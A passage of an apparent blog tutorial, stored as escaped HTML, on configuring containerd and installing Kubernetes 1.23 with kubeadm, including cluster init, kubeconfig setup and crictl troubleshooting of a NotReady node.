/etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can verify its running with ctr:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ectr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--address\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system.  I’m going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.4-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e.  You can check that it is available to you doing this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echown\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e):$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-g\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I'll show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em16s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you recieve \"The connecto to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time.  So if you aren't able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e.  You'll need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running.  If it isn't you can check:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eATTEMPT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e36\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eseconds\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e344\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ec4f7fffbe8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e81\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea4a8a4ac639\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea819c3a864b2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e7\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecc6922c82015\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3767741\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee7fba7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee64ddf3679d98\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10432\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eb81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few ways to figure out why the node isn’t ready yet.  Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: 